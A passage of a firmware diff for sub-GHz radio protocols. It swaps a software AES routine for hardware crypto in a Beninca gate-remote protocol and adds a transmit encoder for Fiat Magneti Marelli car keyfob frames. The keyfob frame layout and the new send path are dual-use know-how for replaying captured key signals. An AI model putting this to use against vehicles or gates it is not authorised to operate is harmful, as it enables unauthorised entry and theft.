-    0x17, 0x2b, 0x04, 0x7e, 0xba, 0x77, 0xd6, 0x26, 0xe1, 0x69, 0x14, 0x63, 0x55, 0x21, 0x0c,
-    0x7d};
-
-static const uint8_t aes_rcon[10] = {0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x1b, 0x36};
-
-static uint8_t gf_mul2(uint8_t x) {
-    return ((x >> 7) * 0x1b) ^ (x << 1);
-}
-
-static void aes_subbytes(uint8_t* state) {
-    for(uint8_t row = 0; row < 4; row++) {
-        for(uint8_t col = 0; col < 4; col++) {
-            state[row + col * 4] = aes_sbox[state[row + col * 4]];
-        }
-    }
-}
-
-static void aes_subbytes_inv(uint8_t* state) {
-    for(uint8_t row = 0; row < 4; row++) {
-        for(uint8_t col = 0; col < 4; col++) {
-            state[row + col * 4] = aes_sbox_inv[state[row + col * 4]];
-        }
-    }
-}
-
-static void aes_shiftrows(uint8_t* state) {
-    uint8_t temp;
-
-    temp = state[1];
-    state[1] = state[5];
-    state[5] = state[9];
-    state[9] = state[13];
-    state[13] = temp;
-
-    temp = state[2];
-    state[2] = state[10];
-    state[10] = temp;
-    temp = state[6];
-    state[6] = state[14];
-    state[14] = temp;
-
-    temp = state[15];
-    state[15] = state[11];
-    state[11] = state[7];
-    state[7] = state[3];
-    state[3] = temp;
-}
-
-static void aes_shiftrows_inv(uint8_t* state) {
-    uint8_t temp;
-
-    temp = state[13];
-    state[13] = state[9];
-    state[9] = state[5];
-    state[5] = state[1];
-    state[1] = temp;
-
-    temp = state[2];
-    state[2] = state[10];
-    state[10] = temp;
-    temp = state[6];
-    state[6] = state[14];
-    state[14] = temp;
-
-    temp = state[3];
-    state[3] = state[7];
-    state[7] = state[11];
-    state[11] = state[15];
-    state[15] = temp;
-}
-
-static void aes_mixcolumns(uint8_t* state) {
-    uint8_t a, b, c, d;
-    for(uint8_t i = 0; i < 4; i++) {
-        a = state[i * 4];
-        b = state[i * 4 + 1];
-        c = state[i * 4 + 2];
-        d = state[i * 4 + 3];
-
-        uint8_t a2 = gf_mul2(a);
-        uint8_t b2 = gf_mul2(b);
-        uint8_t c2 = gf_mul2(c);
-        uint8_t d2 = gf_mul2(d);
-
-        state[i * 4] = a2 ^ b2 ^ b ^ c ^ d;
-        state[i * 4 + 1] = a ^ b2 ^ c2 ^ c ^ d;
-        state[i * 4 + 2] = a ^ b ^ c2 ^ d2 ^ d;
-        state[i * 4 + 3] = a2 ^ a ^ b ^ c ^ d2;
-    }
-}
-
-static void aes_mixcolumns_inv(uint8_t* state) {
-    uint8_t a, b, c, d;
-    for(uint8_t i = 0; i < 4; i++) {
-        a = state[i * 4];
-        b = state[i * 4 + 1];
-        c = state[i * 4 + 2];
-        d = state[i * 4 + 3];
-
-        uint8_t a2 = gf_mul2(a);
-        uint8_t a4 = gf_mul2(a2);
-        uint8_t a8 = gf_mul2(a4);
-        uint8_t b2 = gf_mul2(b);
-        uint8_t b4 = gf_mul2(b2);
-        uint8_t b8 = gf_mul2(b4);
-        uint8_t c2 = gf_mul2(c);
-        uint8_t c4 = gf_mul2(c2);
-        uint8_t c8 = gf_mul2(c4);
-        uint8_t d2 = gf_mul2(d);
-        uint8_t d4 = gf_mul2(d2);
-        uint8_t d8 = gf_mul2(d4);
-
-        state[i * 4] = (a8 ^ a4 ^ a2) ^ (b8 ^ b2 ^ b) ^ (c8 ^ c4 ^ c) ^ (d8 ^ d);
-        state[i * 4 + 1] = (a8 ^ a) ^ (b8 ^ b4 ^ b2) ^ (c8 ^ c2 ^ c) ^ (d8 ^ d4 ^ d);
-        state[i * 4 + 2] = (a8 ^ a4 ^ a) ^ (b8 ^ b) ^ (c8 ^ c4 ^ c2) ^ (d8 ^ d2 ^ d);
-        state[i * 4 + 3] = (a8 ^ a2 ^ a) ^ (b8 ^ b4 ^ b) ^ (c8 ^ c) ^ (d8 ^ d4 ^ d2);
-    }
-}
-
-static void aes_addroundkey(uint8_t* state, const uint8_t* round_key) {
-    for(uint8_t col = 0; col < 4; col++) {
-        state[col * 4] ^= round_key[col * 4];
-        state[col * 4 + 1] ^= round_key[col * 4 + 1];
-        state[col * 4 + 2] ^= round_key[col * 4 + 2];
-        state[col * 4 + 3] ^= round_key[col * 4 + 3];
-    }
-}
-
-void aes_key_expansion(const uint8_t* key, uint8_t* round_keys) {
-    for(uint8_t i = 0; i < 16; i++) {
-        round_keys[i] = key[i];
-    }
-
-    for(uint8_t i = 4; i < 44; i++) {
-        uint8_t prev_word_idx = (i - 1) * 4;
-        uint8_t b0 = round_keys[prev_word_idx];
-        uint8_t b1 = round_keys[prev_word_idx + 1];
-        uint8_t b2 = round_keys[prev_word_idx + 2];
-        uint8_t b3 = round_keys[prev_word_idx + 3];
-
-        if((i % 4) == 0) {
-            uint8_t new_b0 = aes_sbox[b1] ^ aes_rcon[(i / 4) - 1];
-            uint8_t new_b1 = aes_sbox[b2];
-            uint8_t new_b2 = aes_sbox[b3];
-            uint8_t new_b3 = aes_sbox[b0];
-            b0 = new_b0;
-            b1 = new_b1;
-            b2 = new_b2;
-            b3 = new_b3;
-        }
-
-        uint8_t back_word_idx = (i - 4) * 4;
-        b0 ^= round_keys[back_word_idx];
-        b1 ^= round_keys[back_word_idx + 1];
-        b2 ^= round_keys[back_word_idx + 2];
-        b3 ^= round_keys[back_word_idx + 3];
-
-        uint8_t curr_word_idx = i * 4;
-        round_keys[curr_word_idx] = b0;
-        round_keys[curr_word_idx + 1] = b1;
-        round_keys[curr_word_idx + 2] = b2;
-        round_keys[curr_word_idx + 3] = b3;
-    }
-}
-
-void aes128_encrypt(const uint8_t* expanded_key, uint8_t* data) {
-    uint8_t state[16];
-    memcpy(state, data, 16);
-
-    aes_addroundkey(state, &expanded_key[0]);
-
-    for(uint8_t round = 1; round < 10; round++) {
-        aes_subbytes(state);
-        aes_shiftrows(state);
-        aes_mixcolumns(state);
-        aes_addroundkey(state, &expanded_key[round * 16]);
-    }
-
-    aes_subbytes(state);
-    aes_shiftrows(state);
-    aes_addroundkey(state, &expanded_key[160]);
-
-    memcpy(data, state, 16);
-}
-
-void aes128_decrypt(const uint8_t* expanded_key, uint8_t* data) {
-    uint8_t state[16];
-    memcpy(state, data, 16);
-
-    aes_addroundkey(state, &expanded_key[160]);
-
-    for(uint8_t round = 9; round > 0; round--) {
-        aes_shiftrows_inv(state);
-        aes_subbytes_inv(state);
-        aes_addroundkey(state, &expanded_key[round * 16]);
-        aes_mixcolumns_inv(state);
-    }
-
-    aes_shiftrows_inv(state);
-    aes_subbytes_inv(state);
-    aes_addroundkey(state, &expanded_key[0]);
-
-    memcpy(data, state, 16);
-}
-
-void reverse_bits_in_bytes(uint8_t* data, uint8_t len) {
-    for(uint8_t i = 0; i < len; i++) {
-        uint8_t byte = data[i];
-        uint8_t step1 = ((byte & 0x55) << 1) | ((byte >> 1) & 0x55);
-        uint8_t step2 = ((step1 & 0x33) << 2) | ((step1 >> 2) & 0x33);
-        data[i] = ((step2 & 0x0F) << 4) | (step2 >> 4);
-    }
-}

lib/subghz/protocols/aes_common.h

@@ -1,10 +0,0 @@
-#pragma once
-
-#include "base.h"
-
-#include <furi.h>
-
-void reverse_bits_in_bytes(uint8_t* data, uint8_t len);
-void aes128_decrypt(const uint8_t* expanded_key, uint8_t* data);
-void aes128_encrypt(const uint8_t* expanded_key, uint8_t* data);
-void aes_key_expansion(const uint8_t* key, uint8_t* round_keys);

lib/subghz/protocols/beninca_arc.c

@@ -7,7 +7,7 @@
 #include "core/log.h"
 #include <stddef.h>
 #include <stdint.h>
-#include "aes_common.h"
+#include <furi_hal_crypto.h>
 
 #include "../blocks/custom_btn_i.h"
 
@@ -152,6 +152,15 @@ static void get_subghz_protocol_beninca_arc_aes_key(SubGhzKeystore* keystore, ui
     }
 }
 
+static void reverse_bits_in_bytes(uint8_t* data, uint8_t len) {
+    for(uint8_t i = 0; i < len; i++) {
+        uint8_t byte = data[i];
+        uint8_t step1 = ((byte & 0x55) << 1) | ((byte >> 1) & 0x55);
+        uint8_t step2 = ((step1 & 0x33) << 2) | ((step1 >> 2) & 0x33);
+        data[i] = ((step2 & 0x0F) << 4) | (step2 >> 4);
+    }
+}
+
 static uint64_t
     subghz_protocol_beninca_arc_decrypt(SubGhzBlockGeneric* generic, SubGhzKeystore* keystore) {
     // Beninca ARC Decoder
@@ -170,10 +179,9 @@ static uint64_t
     uint8_t aes_key[16];
     get_subghz_protocol_beninca_arc_aes_key(keystore, aes_key);
 
-    uint8_t expanded_key[176];
-    aes_key_expansion(aes_key, expanded_key);
-
-    aes128_decrypt(expanded_key, encrypted_data);
+    uint8_t decrypted[16];
+    furi_hal_crypto_aes128_ecb_decrypt(aes_key, encrypted_data, decrypted);
+    memcpy(encrypted_data, decrypted, 16);
 
     // Serial number of remote
     generic->serial = ((uint32_t)encrypted_data[0] << 24) | ((uint32_t)encrypted_data[1] << 16) |
@@ -235,10 +243,9 @@ static void subghz_protocol_beninca_arc_encrypt(
     uint8_t aes_key[16];
     get_subghz_protocol_beninca_arc_aes_key(keystore, aes_key);
 
-    uint8_t expanded_key[176];
-    aes_key_expansion(aes_key, expanded_key);
-
-    aes128_encrypt(expanded_key, plaintext);
+    uint8_t encrypted[16];
+    furi_hal_crypto_aes128_ecb_encrypt(aes_key, plaintext, encrypted);
+    memcpy(plaintext, encrypted, 16);
 
     reverse_bits_in_bytes(plaintext, 16);
 

lib/subghz/protocols/fiat_marelli.c

@@ -1,30 +1,45 @@
 #include "fiat_marelli.h"
-#include <inttypes.h>
+
+#include "../blocks/const.h"
+#include "../blocks/decoder.h"
+#include "../blocks/encoder.h"
+#include "../blocks/generic.h"
+#include "../blocks/math.h"
+#include "../blocks/custom_btn_i.h"
 #include <lib/toolbox/manchester_decoder.h>
+#include <lib/toolbox/manchester_encoder.h>
+#include <furi_hal_subghz.h>
 
 #define TAG "FiatMarelli"
 
-//   Suspected Magneti Marelli BSI keyfob protocol
-//   Found on: Fiat Panda (and possibly other Fiat/Lancia/Alfa ~2003-2012)
+//   Magneti Marelli BSI keyfob protocol (PCF7946)
+//   Found on: Fiat Panda, Grande Punto (and possibly other Fiat/Lancia/Alfa ~2003-2012)
 //
 //   RF: 433.92 MHz, Manchester encoding
-//   te_short ~260us, te_long ~520us
-//   Preamble: ~191 short-short pairs (alternating 260us HIGH/LOW)
-//   Gap: ~3126us LOW
-//   Sync: ~2065us HIGH
-//   Data: 88 Manchester bits (often decoded as 104 with 16-bit 0xFFFF preamble residue)
-//   Retransmissions: 7-10 per press
+//   Two timing variants with identical frame structure:
+//     Type A (e.g. Panda):        te_short ~260us, te_long ~520us
+//     Type B (e.g. Grande Punto): te_short ~100us, te_long ~200us
+//   TE is auto-detected from preamble pulse averaging.
 //
-//   Frame layout (after stripping 16-bit 0xFFFF preamble):
-//     Bytes 0-3: Fixed ID / Serial (32 bits)
-//     Byte 4:    Button (upper nibble) | Type (lower nibble)
-//                Buttons: 0x7=Lock, 0xB=Unlock, 0xD=Trunk
-//     Bytes 5-10: Rolling/encrypted code (48 bits)       
-#define FIAT_MARELLI_PREAMBLE_MIN  200  // Min preamble pulses (100 pairs)
-#define FIAT_MARELLI_GAP_MIN       2500 // Gap detection threshold (us)
-#define FIAT_MARELLI_SYNC_MIN      1500 // Sync pulse minimum (us)
-#define FIAT_MARELLI_SYNC_MAX      2600 // Sync pulse maximum (us)
-#define FIAT_MARELLI_MAX_DATA_BITS 104  // Max data bits to collect (13 bytes)
+//   Frame layout (103-104 bits = 13 bytes):
+//     Bytes 0-1:  0xFFFF/0xFFFC preamble residue
+//     Bytes 2-5:  Serial (32 bits)
+//     Byte 6:     [Button:4 | Epoch:4]
+//     Byte 7:     [Counter:5 | Scramble:2 | Fixed:1]
+//     Bytes 8-12: Encrypted payload (40 bits)
+
+#define FIAT_MARELLI_PREAMBLE_PULSE_MIN 50
+#define FIAT_MARELLI_PREAMBLE_PULSE_MAX 350
+#define FIAT_MARELLI_PREAMBLE_MIN       80
+#define FIAT_MARELLI_MAX_DATA_BITS      104
+#define FIAT_MARELLI_MIN_DATA_BITS      80
+#define FIAT_MARELLI_GAP_TE_MULT        4
+#define FIAT_MARELLI_SYNC_TE_MIN_MULT   4
+#define FIAT_MARELLI_SYNC_TE_MAX_MULT   12
+#define FIAT_MARELLI_RETX_GAP_MIN       5000
+#define FIAT_MARELLI_RETX_SYNC_MIN      400
+#define FIAT_MARELLI_RETX_SYNC_MAX      2800
+#define FIAT_MARELLI_TE_TYPE_AB_BOUNDARY 180
 
 static const SubGhzBlockConst subghz_protocol_fiat_marelli_const = {
     .te_short = 260,
@@ -40,16 +55,23 @@ struct SubGhzProtocolDecoderFiatMarelli {
     ManchesterState manchester_state;
     uint8_t decoder_state;
     uint16_t preamble_count;
-    uint8_t raw_data[13];    // Up to 104 bits (13 bytes)
+    uint8_t raw_data[13];
     uint8_t bit_count;
-    uint32_t extra_data;     // Bits beyond first 64, right-aligned
+    uint32_t extra_data;
     uint32_t te_last;
+    uint32_t te_sum;
+    uint16_t te_count;
+    uint32_t te_detected;
 };
 
 struct SubGhzProtocolEncoderFiatMarelli {
     SubGhzProtocolEncoderBase base;
     SubGhzProtocolBlockEncoder encoder;
     SubGhzBlockGeneric generic;
+    uint8_t raw_data[13];
+    uint32_t extra_data;
+    uint8_t bit_count;
+    uint32_t te_detected;
 };
 
 typedef enum {
@@ -57,12 +79,9 @@ typedef enum {
     FiatMarelliDecoderStepPreamble = 1,
     FiatMarelliDecoderStepSync = 2,
     FiatMarelliDecoderStepData = 3,
+    FiatMarelliDecoderStepRetxSync = 4,
 } FiatMarelliDecoderStep;
 
-// ============================================================================
-// PROTOCOL INTERFACE DEFINITIONS
-// ============================================================================
-
 const SubGhzProtocolDecoder subghz_protocol_fiat_marelli_decoder = {
     .alloc = subghz_protocol_decoder_fiat_marelli_alloc,
     .free = subghz_protocol_decoder_fiat_marelli_free,
@@ -86,21 +105,29 @@ const SubGhzProtocol subghz_protocol_fiat_marelli = {
     .name = FIAT_MARELLI_PROTOCOL_NAME,
     .type = SubGhzProtocolTypeDynamic,
     .flag = SubGhzProtocolFlag_433 | SubGhzProtocolFlag_FM | SubGhzProtocolFlag_Decodable |
-            SubGhzProtocolFlag_Load | SubGhzProtocolFlag_Save,
+            SubGhzProtocolFlag_Load | SubGhzProtocolFlag_Save | SubGhzProtocolFlag_Send,
     .decoder = &subghz_protocol_fiat_marelli_decoder,
     .encoder = &subghz_protocol_fiat_marelli_encoder,
 };
 
 // ============================================================================
-// ENCODER STUBS (decode-only protocol)
+// Encoder
 // ============================================================================
 
+#define FIAT_MARELLI_ENCODER_UPLOAD_MAX 1500
+#define FIAT_MARELLI_ENCODER_REPEAT     3
+#define FIAT_MARELLI_PREAMBLE_PAIRS     100
+
 void* subghz_protocol_encoder_fiat_marelli_alloc(SubGhzEnvironment* environment) {
     UNUSED(environment);
     SubGhzProtocolEncoderFiatMarelli* instance = calloc(1, sizeof(SubGhzProtocolEncoderFiatMarelli));
     furi_check(instance);
     instance->base.protocol = &subghz_protocol_fiat_marelli;
     instance->generic.protocol_name = instance->base.protocol->name;
+    instance->encoder.repeat = FIAT_MARELLI_ENCODER_REPEAT;
+    instance->encoder.size_upload = FIAT_MARELLI_ENCODER_UPLOAD_MAX;
+    instance->encoder.upload = malloc(FIAT_MARELLI_ENCODER_UPLOAD_MAX * sizeof(LevelDuration));
+    furi_check(instance->encoder.upload);
     instance->encoder.is_running = false;
     return instance;
 }
@@ -108,42 +135,95 @@ void* subghz_protocol_encoder_fiat_marelli_alloc(SubGhzEnvironment* environment)
 void subghz_protocol_encoder_fiat_marelli_free(void* context) {
     furi_check(context);
     SubGhzProtocolEncoderFiatMarelli* instance = context;
+    free(instance->encoder.upload);
     free(instance);
 }
 
-SubGhzProtocolStatus
-    subghz_protocol_encoder_fiat_marelli_deserialize(void* context, FlipperFormat* flipper_format) {
-    UNUSED(context);
-    UNUSED(flipper_format);
-    return SubGhzProtocolStatusError; 
+// Manchester encoding from decoder FSM:
+//   From Mid1: bit 1 = LOW_TE + HIGH_TE, bit 0 = LOW_2TE
+//   From Mid0: bit 0 = HIGH_TE + LOW_TE, bit 1 = HIGH_2TE
+static bool fiat_marelli_encoder_get_upload(SubGhzProtocolEncoderFiatMarelli* instance) {
+    uint32_t te = instance->te_detected;
+    if(te == 0) te = subghz_protocol_fiat_marelli_const.te_short;
+
+    uint32_t te_short = te;
+    uint32_t te_long = te * 2;
+    uint32_t gap_duration = te * 12;
+    uint32_t sync_duration = te * 8;
+
+    size_t index = 0;
+    size_t max_upload = FIAT_MARELLI_ENCODER_UPLOAD_MAX;
+    uint8_t data_bits = instance->bit_count;
+    if(data_bits == 0) data_bits = instance->generic.data_count_bit;
+    if(data_bits < FIAT_MARELLI_MIN_DATA_BITS || data_bits > FIAT_MARELLI_MAX_DATA_BITS) {
+        return false;
+    }
+
+    for(uint8_t i = 0; i < FIAT_MARELLI_PREAMBLE_PAIRS && (index + 1) < max_upload; i++) {
+        instance->encoder.upload[index++] = level_duration_make(true, te_short);
+        if(i < FIAT_MARELLI_PREAMBLE_PAIRS - 1) {
+            instance->encoder.upload[index++] = level_duration_make(false, te_short);
+        }
+    }
+
+    if(index < max_upload) {
+        instance->encoder.upload[index++] = level_duration_make(false, te_short + gap_duration);
+    }
+
+    if(index < max_upload) {
+        instance->encoder.upload[index++] = level_duration_make(true, sync_duration);
+    }
+
+    bool in_mid1 = true;
+
+    for(uint8_t bit_i = 0; bit_i < data_bits && (index + 1) < max_upload; bit_i++) {
+        uint8_t byte_idx = bit_i / 8;
+        uint8_t bit_pos = 7 - (bit_i % 8);
+        bool data_bit = (instance->raw_data[byte_idx] >> bit_pos) & 1;
+
+        if(in_mid1) {
+            if(data_bit) {
+                instance->encoder.upload[index++] = level_duration_make(false, te_short);
+                instance->encoder.upload[index++] = level_duration_make(true, te_short);
+            } else {
+                instance->encoder.upload[index++] = level_duration_make(false, te_long);
+                in_mid1 = false;
+            }
+        } else {
+            if(data_bit) {
+                instance->encoder.upload[index++] = level_duration_make(true, te_long);
+                in_mid1 = true;
+            } else {
+                instance->encoder.upload[index++] = level_duration_make(true, te_short);
+                instance->encoder.upload[index++] = level_duration_make(false, te_short);
+            }
+        }
+    }
+
+    if(in_mid1) {
+        if(index < max_upload) {
+            instance->encoder.upload[index++] =
+                level_duration_make(false, te_short + gap_duration * 3);
+        }
+    } else {
+        if(index > 0) {
+            instance->encoder.upload[index - 1] =
+                level_duration_make(false, te_short + gap_duration * 3);
+        }
+    }
+
+    instance->encoder.size_upload = index;
+    return index > 0;
 }
 
-void subghz_protocol_encoder_fiat_marelli_stop(void* context) {
-    furi_check(context);
-    SubGhzProtocolEncoderFiatMarelli* instance = context;
-    instance->encoder.is_running = false;
-}
-
-LevelDuration subghz_protocol_encoder_fiat_marelli_yield(void* context) {
-    UNUSED(context);
-    return level_duration_reset();
-}
-
-// ============================================================================
-// DECODER IMPLEMENTATION
-// ============================================================================
-
-// Helper: rebuild raw_data[] from generic.data + extra_data
-static void fiat_marelli_rebuild_raw_data(SubGhzProtocolDecoderFiatMarelli* instance) {
+static void fiat_marelli_encoder_rebuild_raw_data(SubGhzProtocolEncoderFiatMarelli* instance) {
     memset(instance->raw_data, 0, sizeof(instance->raw_data));
 
-    // First 64 bits from generic.data
     uint64_t key = instance->generic.data;
     for(int i = 0; i < 8; i++) {
         instance->raw_data[i] = (uint8_t)(key >> (56 - i * 8));
     }
 
-    // Remaining bits from extra_data (right-aligned)
     uint8_t extra_bits =
         instance->generic.data_count_bit > 64 ? (instance->generic.data_count_bit - 64) : 0;
     for(uint8_t i = 0; i < extra_bits && i < 32; i++) {
@@ -157,6 +237,117 @@ static void fiat_marelli_rebuild_raw_data(SubGhzProtocolDecoderFiatMarelli* inst
     instance->bit_count = instance->generic.data_count_bit;
 }
 
+SubGhzProtocolStatus
+    subghz_protocol_encoder_fiat_marelli_deserialize(void* context, FlipperFormat* flipper_format) {
+    furi_check(context);
+    SubGhzProtocolEncoderFiatMarelli* instance = context;
+    SubGhzProtocolStatus ret = SubGhzProtocolStatusError;
+
+    do {
+        ret = subghz_block_generic_deserialize(&instance->generic, flipper_format);
+        if(ret != SubGhzProtocolStatusOk) break;
+
+        uint32_t extra = 0;
+        if(flipper_format_read_uint32(flipper_format, "Extra", &extra, 1)) {
+            instance->extra_data = extra;
+        }
+
+        uint32_t te = 0;
+        if(flipper_format_read_uint32(flipper_format, "TE", &te, 1)) {
+            instance->te_detected = te;
+        }
+
+        fiat_marelli_encoder_rebuild_raw_data(instance);
+
+        if(!fiat_marelli_encoder_get_upload(instance)) {
+            ret = SubGhzProtocolStatusErrorEncoderGetUpload;
+            break;
+        }
+
+        instance->encoder.repeat = FIAT_MARELLI_ENCODER_REPEAT;
+        instance->encoder.front = 0;
+        instance->encoder.is_running = true;
+
+    } while(false);
+
+    return ret;
+}
+
+void subghz_protocol_encoder_fiat_marelli_stop(void* context) {
+    furi_check(context);
+    SubGhzProtocolEncoderFiatMarelli* instance = context;
+    instance->encoder.is_running = false;
+}
+
+LevelDuration subghz_protocol_encoder_fiat_marelli_yield(void* context) {
+    furi_check(context);
+    SubGhzProtocolEncoderFiatMarelli* instance = context;
+
+    if(instance->encoder.repeat == 0 || !instance->encoder.is_running) {
+        instance->encoder.is_running = false;
+        return level_duration_reset();
+    }
+
+    LevelDuration ret = instance->encoder.upload[instance->encoder.front];
+
+    if(++instance->encoder.front == instance->encoder.size_upload) {
+        if(!subghz_block_generic_global.endless_tx) {
+            instance->encoder.repeat--;
+        }
+        instance->encoder.front = 0;
+    }
+
+    return ret;
+}
+
+// ============================================================================
+// Decoder
+// ============================================================================
+
+static void fiat_marelli_rebuild_raw_data(SubGhzProtocolDecoderFiatMarelli* instance) {
+    memset(instance->raw_data, 0, sizeof(instance->raw_data));
+
+    uint64_t key = instance->generic.data;
+    for(int i = 0; i < 8; i++) {
+        instance->raw_data[i] = (uint8_t)(key >> (56 - i * 8));
+    }
+
+    uint8_t extra_bits =
+        instance->generic.data_count_bit > 64 ? (instance->generic.data_count_bit - 64) : 0;
+    for(uint8_t i = 0; i < extra_bits && i < 32; i++) {
+        uint8_t byte_idx = 8 + (i / 8);
+        uint8_t bit_pos = 7 - (i % 8);
+        if(instance->extra_data & (1UL << (extra_bits - 1 - i))) {
+            instance->raw_data[byte_idx] |= (1 << bit_pos);
+        }
+    }
+
+    instance->bit_count = instance->generic.data_count_bit;
+
+    if(instance->bit_count >= 56) {
+        instance->generic.serial =
+            ((uint32_t)instance->raw_data[2] << 24) |
+            ((uint32_t)instance->raw_data[3] << 16) |
+            ((uint32_t)instance->raw_data[4] << 8) |
+            ((uint32_t)instance->raw_data[5]);
+        instance->generic.btn = (instance->raw_data[6] >> 4) & 0xF;
+        instance->generic.cnt = (instance->raw_data[7] >> 3) & 0x1F;
+    }
+}
+
+static void fiat_marelli_prepare_data(SubGhzProtocolDecoderFiatMarelli* instance) {
+    instance->bit_count = 0;
+    instance->extra_data = 0;
+    instance->generic.data = 0;
+    memset(instance->raw_data, 0, sizeof(instance->raw_data));
+    manchester_advance(
+        instance->manchester_state,
+        ManchesterEventReset,
+        &instance->manchester_state,
+        NULL);
+    instance->decoder_state = FiatMarelliDecoderStepData;
+}
+
 void* subghz_protocol_decoder_fiat_marelli_alloc(SubGhzEnvironment* environment) {
     UNUSED(environment);
     SubGhzProtocolDecoderFiatMarelli* instance =
@@ -181,6 +372,9 @@ void subghz_protocol_decoder_fiat_marelli_reset(void* context) {
     instance->bit_count = 0;
     instance->extra_data = 0;
     instance->te_last = 0;
+    instance->te_sum = 0;
+    instance->te_count = 0;
+    instance->te_detected = 0;
     instance->generic.data = 0;
     memset(instance->raw_data, 0, sizeof(instance->raw_data));
     instance->manchester_state = ManchesterStateMid1;
@@ -189,35 +383,51 @@ void subghz_protocol_decoder_fiat_marelli_reset(void* context) {
 void subghz_protocol_decoder_fiat_marelli_feed(void* context, bool level, uint32_t duration) {
     furi_check(context);
     SubGhzProtocolDecoderFiatMarelli* instance = context;
-    uint32_t te_short = (uint32_t)subghz_protocol_fiat_marelli_const.te_short;
-    uint32_t te_long = (uint32_t)subghz_protocol_fiat_marelli_const.te_long;
-    uint32_t te_delta = (uint32_t)subghz_protocol_fiat_marelli_const.te_delta;
+
+    uint32_t te_short = instance->te_detected ? instance->te_detected
+                                              : (uint32_t)subghz_protocol_fiat_marelli_const.te_short;
+    uint32_t te_long = te_short * 2;
+    uint32_t te_delta = te_short / 2;
+    if(te_delta < 30) te_delta = 30;
     uint32_t diff;
 
     switch(instance->decoder_state) {
     case FiatMarelliDecoderStepReset:
-        // Wait for first short HIGH pulse to start preamble
-        if(!level) return;
-        diff = (duration > te_short) ? (duration - te_short) : (te_short - duration);
-        if(diff < te_delta) {
-            instance->decoder_state = FiatMarelliDecoderStepPreamble;
-            instance->preamble_count = 1;
-            instance->te_last = duration;
+        if(level) {
+            if(duration >= FIAT_MARELLI_PREAMBLE_PULSE_MIN &&
+               duration <= FIAT_MARELLI_PREAMBLE_PULSE_MAX) {
+                instance->decoder_state = FiatMarelliDecoderStepPreamble;
+                instance->preamble_count = 1;
+                instance->te_sum = duration;
+                instance->te_count = 1;
+                instance->te_last = duration;
+            }
+        } else {
+            if(duration > FIAT_MARELLI_RETX_GAP_MIN) {
+                instance->decoder_state = FiatMarelliDecoderStepRetxSync;
+                instance->te_last = duration;
+            }
         }
         break;
 
     case FiatMarelliDecoderStepPreamble:
-        diff = (duration > te_short) ? (duration - te_short) : (te_short - duration);
-
-        if(diff < te_delta) {
-            // Short pulse (HIGH or LOW)  preamble continues
+        if(duration >= FIAT_MARELLI_PREAMBLE_PULSE_MIN &&
+           duration <= FIAT_MARELLI_PREAMBLE_PULSE_MAX) {
             instance->preamble_count++;
+            instance->te_sum += duration;
+            instance->te_count++;
             instance->te_last = duration;
-        } else if(!level && duration > FIAT_MARELLI_GAP_MIN) {
-            // Long LOW  potential gap after preamble
-            if(instance->preamble_count >= FIAT_MARELLI_PREAMBLE_MIN) {
-                instance->decoder_state = FiatMarelliDecoderStepSync;
-                instance->te_last = duration;
+        } else if(!level) {
+            if(instance->preamble_count >= FIAT_MARELLI_PREAMBLE_MIN && instance->te_count > 0) {
+                instance->te_detected = instance->te_sum / instance->te_count;
+                uint32_t gap_threshold = instance->te_detected * FIAT_MARELLI_GAP_TE_MULT;
+
+                if(duration > gap_threshold) {
+                    instance->decoder_state = FiatMarelliDecoderStepSync;
+                    instance->te_last = duration;
+                } else {
+                    instance->decoder_state = FiatMarelliDecoderStepReset;
+                }
             } else {
                 instance->decoder_state = FiatMarelliDecoderStepReset;
             }
@@ -226,20 +436,28 @@ void subghz_protocol_decoder_fiat_marelli_feed(void* context, bool level, uint32
         }
         break;
 
-    case FiatMarelliDecoderStepSync:
-        // Expect sync HIGH pulse ~2065us after the gap
-        if(level && duration >= FIAT_MARELLI_SYNC_MIN && duration <= FIAT_MARELLI_SYNC_MAX) {
-            // Sync detected  prepare for Manchester data
-            instance->bit_count = 0;
-            instance->extra_data = 0;
-            instance->generic.data = 0;
-            memset(instance->raw_data, 0, sizeof(instance->raw_data));
-            manchester_advance(
-                instance->manchester_state,
-                ManchesterEventReset,
-                &instance->manchester_state,
-                NULL);
-            instance->decoder_state = FiatMarelliDecoderStepData;
+    case FiatMarelliDecoderStepSync: {
+        uint32_t sync_min = instance->te_detected * FIAT_MARELLI_SYNC_TE_MIN_MULT;
+        uint32_t sync_max = instance->te_detected * FIAT_MARELLI_SYNC_TE_MAX_MULT;
+
+        if(level && duration >= sync_min && duration <= sync_max) {
+            fiat_marelli_prepare_data(instance);
+            instance->te_last = duration;
+        } else {
+            instance->decoder_state = FiatMarelliDecoderStepReset;
+        }
+        break;
+    }
+
+    case FiatMarelliDecoderStepRetxSync:
+        if(level && duration >= FIAT_MARELLI_RETX_SYNC_MIN &&
+           duration <= FIAT_MARELLI_RETX_SYNC_MAX) {
+            if(!instance->te_detected) {
+                instance->te_detected = duration / 8;
+                if(instance->te_detected < 70) instance->te_detected = 100;
+                if(instance->te_detected > 350) instance->te_detected = 260;
+            }
+            fiat_marelli_prepare_data(instance);
             instance->te_last = duration;
         } else {
             instance->decoder_state = FiatMarelliDecoderStepReset;
@@ -250,7 +468,6 @@ void subghz_protocol_decoder_fiat_marelli_feed(void* context, bool level, uint32
         ManchesterEvent event = ManchesterEventReset;
         bool frame_complete = false;
 
-        // Classify duration as short or long Manchester edge
         diff = (duration > te_short) ? (duration - te_short) : (te_short - duration);
         if(diff < te_delta) {
             event = level ? ManchesterEventShortLow : ManchesterEventShortHigh;
@@ -291,7 +508,7 @@ void subghz_protocol_decoder_fiat_marelli_feed(void* context, bool level, uint32
                 }
             }
         } else {
-            if(instance->bit_count >= subghz_protocol_fiat_marelli_const.min_count_bit_for_found) {
+            if(instance->bit_count >= FIAT_MARELLI_MIN_DATA_BITS) {
                 frame_complete = true;
             } else {
                 instance->decoder_state = FiatMarelliDecoderStepReset;
@@ -301,36 +518,13 @@ void subghz_protocol_decoder_fiat_marelli_feed(void* context, bool level, uint32
         if(frame_complete) {
             instance->generic.data_count_bit = instance->bit_count;
 
-            // Frame layout: bytes 0-1 are 0xFFFF preamble residue
-            // Bytes 2-5: Fixed ID (serial)
-            // Byte 6: Button (upper nibble) | subtype (lower nibble)
-            // Bytes 7-12: Rolling/encrypted code (48 bits)
             instance->generic.serial =
                 ((uint32_t)instance->raw_data[2] << 24) |
                 ((uint32_t)instance->raw_data[3] << 16) |
                 ((uint32_t)instance->raw_data[4] << 8) |
                 ((uint32_t)instance->raw_data[5]);
             instance->generic.btn = (instance->raw_data[6] >> 4) & 0xF;
